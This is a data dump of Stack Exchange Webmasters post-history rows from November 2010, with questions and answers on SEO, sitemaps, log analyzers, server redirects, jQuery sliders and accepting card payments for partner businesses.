  <row Id="9611" PostHistoryTypeId="2" PostId="4853" RevisionGUID="74f88db4-1fb4-4fbe-9bcf-795299d880c3" CreationDate="2010-11-02T15:38:22.080" UserId="2730" Text="Another reason, is that in some cases the links on a CMS make a big mess out of the hierarchical structure of information on the website. It can be fixed, but there are a lot of CMS users who don't care about SEO and just use the defaults -- which are usually not the very best for SEO.&#xD;&#xA;&#xD;&#xA;There are some themes and plugins for every CMS that will be very well suited for a great search-engine friendly website, usually the free themes are not it. (but there are exceptions).&#xD;&#xA;&#xD;&#xA;The important thing, is to analyze your website, and use your brain to apply best-practices -- and then check if it worked in practice or didn't.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Personal example:&#xD;&#xA;&#xD;&#xA;I have a Wordpress blog used as an e-commerce website where most pages are landing pages for a particular product.&#xD;&#xA;&#xD;&#xA;When a user gets to such a page I would want to convert him into a buy, and not loose his interest. There are several things that were wrong with the defaults of wordpress blogs I changed.&#xD;&#xA;&#xD;&#xA;* Categories and tags in wordpress were links, these showed up in Google Analytics as having 10% or more clicks on them -- this beats the purpose of why I brought the user to that page, so I made these non-clickable&#xD;&#xA;* Another 10% of users were clicking the title with the shop name.&#xD;&#xA;* Another 5% were clicking the Next/Previous post links at the botton instead of the buy button.&#xD;&#xA;* The website title was in a &amp;lt;h1&gt; tag, I put the content first title in &amp;lt;h1&gt; instead, with that page keywords in it.&#xD;&#xA;* Pages did not have a unique &amp;lt;title&gt; and &amp;lt;meta description&gt; tags, so I installed a plug-in that adds the ability to specify these.&#xD;&#xA;&#xD;&#xA;All these things are usually defaults, but for the purpose of my website were _bad defaults_ that did not contribute to convergence rates. All were easy to fix. I regularly inspect Google Analytics and plug any holes that users use to escape my intent of the website.&#xD;&#xA;&#xD;&#xA;Maybe for a different website the above tweaks are not required, it all depends on what you need your website to accomplish.&#xD;&#xA;" />
  <row Id="9612" PostHistoryTypeId="2" PostId="4854" RevisionGUID="145afd2e-32e2-4388-bc7e-8edf5f5e694f" CreationDate="2010-11-02T15:40:07.820" UserId="2934" Text="It's not so much that CMS's are *bad* for SEO, but that you can achieve better SEO when you have more control over the webpage. And CMS's are made to make it easier to produce websites, often at the same time taking away control over the page construction.&#xD;&#xA;&#xD;&#xA;Basic SEO, like search friendly URLs and sitemaps, are nowadays build into most CMS's. But more advanced technologies like microformats and semantic HTML are often more difficult to achieve *with* a CMS than without one.&#xD;&#xA;&#xD;&#xA;However, at the end of the day it's the actual content that's most important for ranking high, not any technical trickery!" />
  <row Id="9613" PostHistoryTypeId="2" PostId="4855" RevisionGUID="c8215f38-701b-4b21-b90a-d2ea4c6dd55f" CreationDate="2010-11-02T15:43:05.040" UserId="2730" Text="I highly recommend [Microsys A1 Sitemap Generator][1], it crawls your website and shows potential problems like broken links, duplicate content, duplicate titles, everything you need to know to make your website better. And then when everything is fixed it creates a sitemap with a click of a button.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/products/sitemap-generator/" />
  <row Id="9614" PostHistoryTypeId="5" PostId="4849" RevisionGUID="5b958645-90d0-4a87-bd81-03a3450c56c2" CreationDate="2010-11-02T15:47:56.090" UserId="2209" Comment="deleted 96 characters in body; added 57 characters in body" Text="Have not tested it, but this should do it...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{SERVER_PORT} 80&#xD;&#xA;    Redirect /directory/file.html http://domain.com/directory/file.html" />
  <row Id="9615" PostHistoryTypeId="5" PostId="4852" RevisionGUID="28a92163-9803-4696-a7a9-f71202f06652" CreationDate="2010-11-02T15:48:38.933" UserId="2730" Comment="added 27 characters in body" Text="**What real-time log analyzer can you suggest for Apache access and error logs?**&#xD;&#xA;&#xD;&#xA;There is a [list of web analytics software][1] on wikipedia, but it would be great to hear opinions from people with experience without having to try all of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please don't suggest Google Analytics or any other hosted/javascript analytics suites, already using them, GA is not real-time and it is missing some data that the logs show. For example 404 errors, script errors, the full query-string of the referral, IP addresses, visitor path through the website, etc ...&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_web_analytics_software" />
  <row Id="9616" PostHistoryTypeId="2" PostId="4856" RevisionGUID="d3f3fe91-d1d4-4793-bad6-35ad94260e4f" CreationDate="2010-11-02T15:52:37.700" UserId="1953" Text="- Is there really any benefits of having these external landing pages to the site?&#xD;&#xA;&#xD;&#xA;If you're building out unique content and building links to the external sites so they in turn become authoritative links that only you're main site has, then there likely is a benefit. &#xD;&#xA;&#xD;&#xA;- Would it be more valuable to move the landing page content to inside of the site?&#xD;&#xA;&#xD;&#xA;This depends on your industry if you are splitting your links across multiple domains then it would likely be better to have all the links pointing to the main site. If you are in and industry where the only links are a handful of directories (or similar) and you can build these to all the sites, then funnel the aggregate value back to your main site then they could be a solid competitive advantage over your competitors.&#xD;&#xA;&#xD;&#xA;- Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?&#xD;&#xA;&#xD;&#xA;There is no real way to tell how much impact these are having on your rankings because there are too many variables, but a slightly un-scientific method would be to remove all links from one of the sites to your main site for a month or so and see how much your organic traffic drops. If it doesn't drop at all you can remove another one and so on, if it does drop you can look at how much your revenue dropped and then determine it there is a reasonable ROI based on the cost of maintaining the site. (Again there could be a lot of reasons your site drops so depending on the size of the change it may not be a valid test)." />
  <row Id="9617" PostHistoryTypeId="2" PostId="4857" RevisionGUID="f4db4e1a-ff01-44e4-b957-fb4ee92095dd" CreationDate="2010-11-02T15:54:07.060" UserId="2313" Text="I was using Urchin before I swithed to GA, and I see it is still available: http://www.google.com/urchin/" />
  <row Id="9618" PostHistoryTypeId="2" PostId="4858" RevisionGUID="b33d436c-722d-4f5f-8589-989a5405e53c" CreationDate="2010-11-02T15:55:16.630" UserId="2209" Text="[AWStats][1] is a good open source solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awstats.sourceforge.net/" />
  <row Id="9619" PostHistoryTypeId="5" PostId="4856" RevisionGUID="7dd9db2a-f505-49d5-8a98-b79edc0258ad" CreationDate="2010-11-02T16:06:46.893" UserId="1953" Comment="added 240 characters in body" Text="- Is there really any benefits of having these external landing pages to the site?&#xD;&#xA;&#xD;&#xA;If you're building out unique content and building links to the external sites so they in turn become authoritative links that only you're main site has, then there likely is a benefit. &#xD;&#xA;&#xD;&#xA;- Would it be more valuable to move the landing page content to inside of the site?&#xD;&#xA;&#xD;&#xA;This depends on your industry if you are splitting your links across multiple domains then it would likely be better to have all the links pointing to the main site. If you are in and industry where the only links are a handful of directories (or similar) and you can build these to all the sites, then funnel the aggregate value back to your main site then they could be a solid competitive advantage over your competitors.&#xD;&#xA;&#xD;&#xA;- Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?&#xD;&#xA;&#xD;&#xA;There is no real way to tell how much impact these are having on your rankings because there are too many variables, but a slightly un-scientific method would be to remove all links from one of the sites to your main site for a month or so and see how much your organic traffic drops. If it doesn't drop at all you can remove another one and so on, if it does drop you can look at how much your revenue dropped and then determine it there is a reasonable ROI based on the cost of maintaining the site. (Again there could be a lot of reasons your site drops so depending on the size of the change it may not be a valid test).&#xD;&#xA;&#xD;&#xA;Here's some additional data from 2009 that suggests the number of unique linking domains is a better indicator of ranking potential then the sheer number of links:&#xD;&#xA;http://www.seomoz.org/blog/lessons-learned-building-an-index-of-the-www" />
  <row Id="9620" PostHistoryTypeId="2" PostId="4859" RevisionGUID="0934d713-a2e9-4829-b4f5-8782d256bece" CreationDate="2010-11-02T16:08:23.277" UserId="2730" Text="Just found a VERY nice analytics service, it is actually much more than analytics but completely different from GA [https://chartbeat.com/][1].&#xD;&#xA;&#xD;&#xA;Anyone knows more services like this one?&#xD;&#xA;&#xD;&#xA;  [1]: https://chartbeat.com/" />
  <row Id="9621" PostHistoryTypeId="2" PostId="4860" RevisionGUID="806442bd-c14f-450d-837a-bf713172f232" CreationDate="2010-11-01T05:16:36.250" UserDisplayName="Brian" Text="I need a good image creation program for web design.&#xD;&#xA;&#xD;&#xA;I have downloaded both Elements 9 and Paintshop X3. So far I have found them both to be great programs. X3 seems like it has a lot of features, Elements seems like it's quite easy and stable to use.&#xD;&#xA;&#xD;&#xA;I think I'm going to go with Elements, but I wanted to get other opinions. Which program do you guys like better overall? What things do you think they lack for image creation/editing pertaining to web design, or what features do they have that are great for it?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="9622" PostHistoryTypeId="1" PostId="4860" RevisionGUID="806442bd-c14f-450d-837a-bf713172f232" CreationDate="2010-11-01T05:16:36.250" UserDisplayName="Brian" Text="Photoshop Elements 9 VS Paintshop Photo Pro X3 For Web Design" />
  <row Id="9623" PostHistoryTypeId="3" PostId="4860" RevisionGUID="806442bd-c14f-450d-837a-bf713172f232" CreationDate="2010-11-01T05:16:36.250" UserDisplayName="Brian" Text="&lt;web-development&gt;&lt;photoshop&gt;" />
  <row Id="9624" PostHistoryTypeId="17" PostId="4860" RevisionGUID="f123a11e-3024-4730-9760-977adddbd82d" CreationDate="2010-11-02T16:26:13.500" UserId="-1" Comment="from http://stackoverflow.com/questions/4066779/photoshop-elements-9-vs-paintshop-photo-pro-x3-for-web-design" Text="" />
  <row Id="9625" PostHistoryTypeId="2" PostId="4861" RevisionGUID="0c358cf9-a136-4393-bc00-fd610f654ec5" CreationDate="2010-11-02T16:41:18.853" UserId="2898" Text="Article syndication is essentially a barter relationship - one in which the content creator usually loses in my opinion.&#xD;&#xA;&#xD;&#xA;Article directories work hard to accrue trust and authority. They do so by building backlinks to their directory. The aggregation of all that content is valuable (to some) and so they work hard at acquiring backlinks.&#xD;&#xA;&#xD;&#xA;Content (and site) owners seek to get a link from domains with a high degree of trust and authority. The barter arrangement is content in exchange for a link (or two).&#xD;&#xA;&#xD;&#xA;It's *that* content which allows the directory to continue to operate. Without that content, they wouldn't provide value, nor would a link from that directory mean much.&#xD;&#xA;&#xD;&#xA;Here's the rub - search algorithms are looking for **domain diversity** - getting quality links from a variety of different domains. So, in this situation, you're allowing the *directory* to build that domain diversity. They use *your* content to build many backlinks from various domains. All you get is one solid link from the directory.&#xD;&#xA;&#xD;&#xA;If you have the time and ability, use your content (your intellection capital!) and build those backlinks yourself. Why let someone else use your content to build a business and then lease back a portion of the value back to you?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9626" PostHistoryTypeId="5" PostId="4859" RevisionGUID="880ac787-8846-48ef-a8f1-11eae2df9add" CreationDate="2010-11-02T16:56:23.467" UserId="2730" Comment="added 179 characters in body" Text="Just found a very interesting service, it is actually much more than log analytis - more like a view of the buzz your blog creates, in real-time [https://chartbeat.com/][1].&#xD;&#xA;&#xD;&#xA;Another tool that shows real-time apache log streams I found, called [A Live Log][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There must be more things like these out there ...&#xD;&#xA;&#xD;&#xA;  [1]: https://chartbeat.com/&#xD;&#xA;  [2]: http://www.burlaca.com/2009/02/alivelog/" />
  <row Id="9627" PostHistoryTypeId="2" PostId="4862" RevisionGUID="ab7ae4cb-3ae7-46ac-a2c6-979b33945408" CreationDate="2010-11-02T17:20:35.463" UserId="180" Text="Sitemaps can save your ass.&#xD;&#xA;&#xD;&#xA;On one of my sites, I have a large number of links that I prevent search engines from spidering.  Long story short, Google was mis-interpreting JS in my forum and triggering lots of 500 and 403 response codes, which I believed were affecting the site's position.  I worked around this by excluding the problematic URLs via robots.txt.&#xD;&#xA;&#xD;&#xA;One day, I messed up and did something that prevented Google from crawling some pages on that site I really wanted indexed.  Because of the forum exclusions, the Webmaster Tools error section for &quot;Restricted by robots.txt&quot; had over 4000 pages in it, so I would not have picked this error up until it was way too late.&#xD;&#xA;&#xD;&#xA;Fortunately, because all of the &quot;important&quot; pages on my site are in sitemaps, I was able to quickly detect this problem in the special error category that Webmaster Tools has for  problems with pages in sitemaps.&#xD;&#xA;&#xD;&#xA;As an aside, I also get a lot of benefit from using a Sitemap Index to determine indexing quality of various sections of my sites, [as mentioned][1] by @AJ Kohn.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/4822#4822" />
  <row Id="9628" PostHistoryTypeId="2" PostId="4863" RevisionGUID="d95e85e8-4d48-4397-abe3-d7d2743f2998" CreationDate="2010-11-02T17:20:54.823" UserId="2730" Text="Some of the visitors on this website are consultants of various kinds, webmasters, seo experts, web developers, web designers, content writers, you all rock!&#xD;&#xA;&#xD;&#xA;**Can you share some unique ways of finding good customers for your web-related business?**&#xD;&#xA;&#xD;&#xA;And if you can throw in some ways to keep the good customer, while loose the bad ones (without leaving hard feelings), all the better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;_community wiki this please_" />
  <row Id="9629" PostHistoryTypeId="1" PostId="4863" RevisionGUID="d95e85e8-4d48-4397-abe3-d7d2743f2998" CreationDate="2010-11-02T17:20:54.823" UserId="2730" Text="What are useful and proven ways to get good customers?" />
  <row Id="9630" PostHistoryTypeId="3" PostId="4863" RevisionGUID="d95e85e8-4d48-4397-abe3-d7d2743f2998" CreationDate="2010-11-02T17:20:54.823" UserId="2730" Text="&lt;customer-service&gt;" />
  <row Id="9631" PostHistoryTypeId="5" PostId="4863" RevisionGUID="97cad5c8-00ac-4bbc-baac-5698c77adf42" CreationDate="2010-11-02T17:25:57.750" UserId="2730" Comment="deleted 1 characters in body" Text="Some of the visitors on this website are consultants of various kinds, webmasters, seo experts, web developers, web designers, content writers, you all rock!&#xD;&#xA;&#xD;&#xA;**Can you share some unique ways of finding good customers for your web-related business?**&#xD;&#xA;&#xD;&#xA;And if you can throw in some ways to keep the good customers, and loose the bad ones (without leaving hard feelings), all the better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;_community wiki this please_" />
  <row Id="9632" PostHistoryTypeId="16" PostId="4863" RevisionGUID="5571a3ca-4b0b-45a9-84b2-83d48e83c66d" CreationDate="2010-11-02T17:29:33.833" UserId="1253" />
  <row Id="9633" PostHistoryTypeId="2" PostId="4864" RevisionGUID="8ac73911-5028-4e93-87fd-3c2024c21135" CreationDate="2010-11-02T17:32:04.190" UserDisplayName="KitKat" Text="i'm always wondering how large sites like SO handle their access logs. A write to the disk on every request seems a little bit uneconomical, but is Google Analytics that reliable to use it as your only information resource?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="9634" PostHistoryTypeId="1" PostId="4864" RevisionGUID="8ac73911-5028-4e93-87fd-3c2024c21135" CreationDate="2010-11-02T17:32:04.190" UserDisplayName="KitKat" Text="How do large sites like SO handle their access logs?" />
  <row Id="9635" PostHistoryTypeId="3" PostId="4864" RevisionGUID="8ac73911-5028-4e93-87fd-3c2024c21135" CreationDate="2010-11-02T17:32:04.190" UserDisplayName="KitKat" Text="&lt;traffic&gt;&lt;logging&gt;" />
  <row Id="9636" PostHistoryTypeId="2" PostId="4865" RevisionGUID="b5312032-9f4b-4082-9d68-19587ea42921" CreationDate="2010-11-02T17:59:49.393" UserId="903" Text="How to redirect calls from http://svn.example.com to http://dev.example.com:8443?&#xD;&#xA;&#xD;&#xA;Should I be asking our Cisco networking guy to set this up (and if so, what do I tell him to do?), or should I be doing it directly from the server (I'm running IIS 7 on Windows 2008)&#xD;&#xA;" />
  <row Id="9637" PostHistoryTypeId="1" PostId="4865" RevisionGUID="b5312032-9f4b-4082-9d68-19587ea42921" CreationDate="2010-11-02T17:59:49.393" UserId="903" Text="How to redirect calls from http://svn.example.com to http://dev.example.com:8443?" />
  <row Id="9638" PostHistoryTypeId="3" PostId="4865" RevisionGUID="b5312032-9f4b-4082-9d68-19587ea42921" CreationDate="2010-11-02T17:59:49.393" UserId="903" Text="&lt;redirects&gt;&lt;subdomain&gt;&lt;iis7&gt;" />
  <row Id="9639" PostHistoryTypeId="2" PostId="4866" RevisionGUID="ac985f9d-0284-430d-af60-2270c734e634" CreationDate="2010-11-02T18:01:47.317" UserId="2379" Text="This is very relative to the type of site you are running. If you are running a blog and not actually selling much other than advertising you would just want raw vistors, and encourge them to interact.&#xD;&#xA;&#xD;&#xA;If you are running an ecommerce site then you want buyers or to strengthen your brand.  In those cases you would sell service, quality, customer satisfaction and what makes you different.  Customer service goes a long ways.  Keeping your users informed or deals, discounts and promotions also helps.  My trick is to ask for registration when someone ads a product to their cart.  Registered cart users can access their cart on other computers.&#xD;&#xA;This is a great way to manage abandoned carts, or to offer your customers promos based on their shopping or browsing habits.&#xD;&#xA;&#xD;&#xA;If you are running a SAS (or cloud applicaiton) it is all about reviews. Negative feedback can kill a SAS very quickly. &#xD;&#xA;&#xD;&#xA;Last, Nothing is more important to me than the User's Experience.&#xD;&#xA;UI, customer service, and WOW factor.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9640" PostHistoryTypeId="2" PostId="4867" RevisionGUID="5dcc6096-d6d6-44f2-901c-5efbc4821828" CreationDate="2010-11-02T18:02:52.810" UserId="2313" Text="You can do this in IIS 7. See http://technet.microsoft.com/en-us/library/cc732969%28WS.10%29.aspx (Configuring HTTP Redirection in IIS 7)" />
  <row Id="9641" PostHistoryTypeId="2" PostId="4868" RevisionGUID="48a954f0-d58f-4afa-885b-eadbdac16930" CreationDate="2010-11-02T18:02:59.470" UserId="2379" Text="is a CMS really necessary for that?  Most affiliate systems have this functionality built in.  In a custom coded (asp, php, rails, ) solution this would be very easy to setup and manage. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9642" PostHistoryTypeId="2" PostId="4869" RevisionGUID="a3b1d905-c765-40a4-94d2-3ca0d8363be7" CreationDate="2010-11-02T18:04:14.583" UserId="2379" Text="You can do it by server redirect.  You can do it by script redirect in the actual pages that load.  You can use Meta Refresh redirect.    Because of the port i dont think you can just redirect through DNS. &#xD;&#xA;&#xD;&#xA;What web server are you on?" />
  <row Id="9643" PostHistoryTypeId="2" PostId="4870" RevisionGUID="26ad0555-4f4e-4153-be93-f15c34668795" CreationDate="2010-11-02T18:06:08.263" UserId="2379" Text="I dont really look at these logs and end up deleting them on a monthly basis.  I only look at them for trouble shooting.  As for as monitoring application use GoogleAnalytics, CrazyEgg and others do a great job.&#xD;&#xA;&#xD;&#xA;Before such services existed these logs were very valuable.  Now, they are good developer tools, but I dont know of any of my colleagues or friends that actively archive these logs or parse them for data. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9644" PostHistoryTypeId="2" PostId="4871" RevisionGUID="20baa4b3-ece1-45de-a6e6-e98b0459add6" CreationDate="2010-11-02T18:09:34.097" UserId="745" Text="[Kajabi][1] is a hosted service. I haven't used it, but it looks very powerful. Otherwise, you could use a CMS like Joomla or Wordpress and integrate with an affiliate service. [Zferral][2] and [HasOffers][3] are two such affiliate services you could use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://get.kajabi.com/sales_pages/1240&#xD;&#xA;  [2]: http://zferral.com/&#xD;&#xA;  [3]: http://www.hasoffers.com/" />
  <row Id="9645" PostHistoryTypeId="2" PostId="4872" RevisionGUID="9cd171b6-4ebc-4bc7-9825-33bdbe88fd8a" CreationDate="2010-11-02T18:22:17.197" UserId="1808" Text="I need a slider like this one at http://valogiannis.com/stackoverflow/scrollto/scrolltoexample.htm . As you can see when it's on the last part, and is needed to show the first again, it scrolls fastly to the left. I want a slider that doesn't have this behavoir. What do you suggest? All I found do the same thing. If you can find a solution for the above slider I have an open question at stackoverflow.com http://stackoverflow.com/questions/4073704/jquery-scroll-fast-return .&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="9646" PostHistoryTypeId="1" PostId="4872" RevisionGUID="9cd171b6-4ebc-4bc7-9825-33bdbe88fd8a" CreationDate="2010-11-02T18:22:17.197" UserId="1808" Text="what jQuery slider do you suggest?" />
  <row Id="9647" PostHistoryTypeId="3" PostId="4872" RevisionGUID="9cd171b6-4ebc-4bc7-9825-33bdbe88fd8a" CreationDate="2010-11-02T18:22:17.197" UserId="1808" Text="&lt;javascript&gt;&lt;jquery&gt;&lt;suggestions&gt;" />
  <row Id="9648" PostHistoryTypeId="2" PostId="4873" RevisionGUID="24d6d6cd-977f-4c6a-acb6-e3132abf2039" CreationDate="2010-11-02T18:41:07.533" UserId="2957" Text="I am about to start a new business that will have the following structure:&#xD;&#xA;1) I want to accept payments from my customers (let's call them partners) for services that I will provide to them; one of this service will be accepting payments by their customers on their behalf&#xD;&#xA;2) Accepting payments on partner's behalf from their customers and sending this payment directly to the partner (after subtracting a small fee)&#xD;&#xA;&#xD;&#xA;Additionally, I want to have the option to send out email invoices as well as have a form on my website that collects credit card/billing data and sends it to a third party server for payment processing.&#xD;&#xA;&#xD;&#xA;I was wondering what type of service I should use for this type of business, as I couldn't find anything on this topic during my research. I saw services such as PayPal Website Payments Pro and Braintree Payment Solutions, but I am not sure if any of those would fit my needs. I certainly want to limit my exposure to chargebacks in cases where partner's customer will dispute the charges and at the same time, I want to be able to send partners their money promptly.&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated!" />
  <row Id="9649" PostHistoryTypeId="1" PostId="4873" RevisionGUID="24d6d6cd-977f-4c6a-acb6-e3132abf2039" CreationDate="2010-11-02T18:41:07.533" UserId="2957" Text="Which service to choose when accepting online credit card payments on behalf of &quot;partners&quot;?" />
  <row Id="9650" PostHistoryTypeId="3" PostId="4873" RevisionGUID="24d6d6cd-977f-4c6a-acb6-e3132abf2039" CreationDate="2010-11-02T18:41:07.533" UserId="2957" Text="&lt;payments&gt;&lt;creditcard&gt;&lt;affiliate&gt;&lt;payment-gateway&gt;" />
  <row Id="9651" PostHistoryTypeId="2" PostId="4874" RevisionGUID="0177519a-118b-4c43-999d-637df8cee20b" CreationDate="2010-11-02T18:44:50.630" UserId="2730" Text="There is much information that web server logs contain which will never be available to Google Analytics, two things I can think of:&#xD;&#xA;&#xD;&#xA;* Errors, like 404, etc ...&#xD;&#xA;* Access on media files, like pictures, etc ... (including external websites linking to your images)&#xD;&#xA;* IP Addresses, although an answer to another question pointed out that it can be set as a user variable&#xD;&#xA;* Full length referral urls, for example google sends links from product search, web search, etc ... each search has keywords but google analytics does not display the other variables like &amp;source=products, etc.&#xD;&#xA;&#xD;&#xA;Must be more stuff I just can't think of right now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And there are also the error logs ... must be important for a website to run smoothly, in my opinion. Not something you would ignore.&#xD;&#xA;" />
  <row Id="9652" PostHistoryTypeId="5" PostId="4871" RevisionGUID="6eccdab4-d584-441d-9637-d2595d7786f7" CreationDate="2010-11-02T18:52:04.810" UserId="745" Comment="added 136 characters in body" Text="As an out-of-the-box suggestion, [Kajabi][1] is a hosted service. I haven't used it, but it looks like it could be worth a look if it fits your product and business model.  Otherwise, you could use a CMS like Joomla or Wordpress and integrate with an affiliate service. [Zferral][2] and [HasOffers][3] are two such affiliate services you could use. Personally, I recommend the second method.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://get.kajabi.com/sales_pages/1240&#xD;&#xA;  [2]: http://zferral.com/&#xD;&#xA;  [3]: http://www.hasoffers.com/" />
  <row Id="9653" PostHistoryTypeId="5" PostId="4863" RevisionGUID="6a09918b-20f3-4765-bc1f-65d862ed53b7" CreationDate="2010-11-02T18:53:06.613" UserId="2730" Comment="added 38 characters in body" Text="Some of the visitors on this website are consultants of various kinds, webmasters, seo experts, web developers, web designers, content writers, you all rock!&#xD;&#xA;&#xD;&#xA;**Can you share some unique ways of finding good customers for your web-related business?**&#xD;&#xA;&#xD;&#xA;Even if you don't have any website, just services and your skills.&#xD;&#xA;&#xD;&#xA;And if you can throw in some ways to keep the good customers, and loose the bad ones (without leaving hard feelings), all the better.&#xD;&#xA;" />
  <row Id="9654" PostHistoryTypeId="2" PostId="4875" RevisionGUID="e33ffebb-8252-4a48-afad-37a5ceb70df8" CreationDate="2010-11-02T19:00:42.897" UserId="1253" Text="I used to work in the merchant services industry up until a couple of years ago so if you are in the US I can tell you about how that would work here.&#xD;&#xA;&#xD;&#xA;For starters you will **not** be able to get a true merchant account for this purpose. Accepting credit card payments on behalf of other businesses is called factoring and is a major no-no. The general rule is one business = one merchant account. If you are caught factoring you *may* be given a chance to stop and get merchant accounts for each of the other businesses. If you continue to factor, or factored on a large scale that you weren't even given a chance to open new merchant accounts, you and your business will be placed on the Match File, also known as the Terminated Merchants File. This essentially is a black list honored by all of the major credit card issuers and will prevent you and your business from ever having a true merchant account again. Notice I said you *and* your business. They put individuals on the TMF file so they can't just go and open a new merchant and do it again. Ever. If you are wondering how they would catch you it would most likely be through chargebacks. Since it is your name that will appear on a customer's bank statement they will not recognize the purchase and attempt to charge it back. Besides exposing your factoring and putting you at risk for the TMF you will also incur chargeback fees which will eat away at your profits (and you will also lose the chargeback and that money).&#xD;&#xA;&#xD;&#xA;So each business you wanted to accept payments for would have to have their own merchant account to receive payments which probably is not what you're looking for. But, if that is a possibility for you then you can do something like this:&#xD;&#xA;&#xD;&#xA; - Have each business get their own merchant account and payment gateway account (ideally they would all use the same payment gateway for simplicity's sake). They provide you with the API information necessary to integrate the payment gateway into a website.&#xD;&#xA; - Have the orders come through your system and they are logged accordingly.&#xD;&#xA; - The payment goes through the business' merchant account which is done dynamically through coding on your end (basically you supply the appropriate API credentials for that business)&#xD;&#xA; - At a predetermined basis (e.g. monthly) you bill them for the fees they incurred during that billing period&#xD;&#xA;&#xD;&#xA;The biggest issue you will have with that scenario is you'll have to chase the businesses for the money they owe you instead of already having it in hand and paying them what they are owed.&#xD;&#xA;&#xD;&#xA;As far as charging *your* &quot;partners&quot; a regular merchant account would be just fine. You could use a recurring billing service like Authorize.Net's Automated Recurring Billing API to handle the subscription payments for you.&#xD;&#xA;&#xD;&#xA;Email invoicing isn't difficult. If you didn't want to write your own there are plenty of invoicing software available for you to use.&#xD;&#xA;&#xD;&#xA;If you are going to accept credit card information on your website at the very least you will need an SSL certificate installed to ensure the connection is secure and that sensitive data is encrypted. You'll also need to be aware of PCI compliance issues which will vary depending on exactly how you plan to implement everything. If there's anything to know right off the bat it is don't store any credit card information on your server. That makes things dicey and is just a bad idea to get involved with it." />
  <row Id="9655" PostHistoryTypeId="5" PostId="4875" RevisionGUID="f2a419d5-52fd-4f4f-af46-bbcf9d9cdde3" CreationDate="2010-11-02T19:07:20.473" UserId="1253" Comment="added 402 characters in body; added 86 characters in body" Text="I used to work in the merchant services industry up until a couple of years ago so if you are in the US I can tell you about how that would work here.&#xD;&#xA;&#xD;&#xA;For starters you will **not** be able to get a true merchant account for this purpose. Accepting credit card payments on behalf of other businesses is called [factoring][1] and is a major no-no. The general rule is one business = one merchant account. If you are caught factoring you *may* be given a chance to stop and get merchant accounts for each of the other businesses. If you continue to factor, or factored on a large scale that you weren't even given a chance to open new merchant accounts, you and your business will be placed on the Match File, also known as the [Terminated Merchants File][2]. This essentially is a black list honored by all of the major credit card issuers and will prevent you and your business from ever having a true merchant account again. Notice I said you *and* your business. They put individuals on the TMF file so they can't just go and open a new merchant and do it again. Ever. If you are wondering how they would catch you it would most likely be through chargebacks. Since it is your name that will appear on a customer's bank statement they will not recognize the purchase and attempt to charge it back. Besides exposing your factoring and putting you at risk for the TMF you will also incur chargeback fees which will eat away at your profits (and you will also lose the chargeback and that money).&#xD;&#xA;&#xD;&#xA;So each business you wanted to accept payments for would have to have their own merchant account to receive payments which probably is not what you're looking for. But, if that is a possibility for you then you can do something like this:&#xD;&#xA;&#xD;&#xA; - Have each business get their own merchant account and payment gateway account (ideally they would all use the same payment gateway for simplicity's sake). They provide you with the API information necessary to integrate the payment gateway into a website.&#xD;&#xA; - Have the orders come through your system and they are logged accordingly.&#xD;&#xA; - The payment goes through the business' merchant account which is done dynamically through coding on your end (basically you supply the appropriate API credentials for that business)&#xD;&#xA; - At a predetermined basis (e.g. monthly) you bill them for the fees they incurred during that billing period&#xD;&#xA;&#xD;&#xA;The biggest issue you will have with that scenario is you'll have to chase the businesses for the money they owe you instead of already having it in hand and paying them what they are owed.&#xD;&#xA;&#xD;&#xA;As far as charging *your* &quot;partners&quot; a regular merchant account would be just fine. You could use a recurring billing service like [Authorize.Net's Automated Recurring Billing API][3] to handle the subscription payments for you.&#xD;&#xA;&#xD;&#xA;Email invoicing isn't difficult. If you didn't want to write your own there are [plenty of invoicing software available for you to use][4].&#xD;&#xA;&#xD;&#xA;If you are going to accept credit card information on your website at the very least you will need an [SSL certificate][5] installed to ensure the connection is secure and that sensitive data is encrypted. You'll also need to be aware of [PCI compliance][6] issues which will vary depending on exactly how you plan to implement everything. If there's anything to know right off the bat it is don't store any credit card information on your server. That makes things dicey and is just a bad idea to get involved with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.merchantequip.com/merchant-account-blog/140/factoring-credit-card-laundering&#xD;&#xA;  [2]: http://www.sitepoint.com/forums/showthread.php?t=175154&#xD;&#xA;  [3]: http://www.authorize.net/solutions/merchantsolutions/merchantservices/automatedrecurringbilling/&#xD;&#xA;  [4]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=billing+software&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Transport_Layer_Security&#xD;&#xA;  [6]: https://www.pcisecuritystandards.org/" />
  <row Id="9656" PostHistoryTypeId="2" PostId="4876" RevisionGUID="866d0034-71b3-4e10-bf6e-83017f0986c6" CreationDate="2010-11-02T19:25:31.487" UserDisplayName="setiri" Text="I disagree that google will not index the sitemapped-only links. I have numerous sites which have pages only reachable via sitemaps, and google indexes them without issue. I can give many examples of this. " />
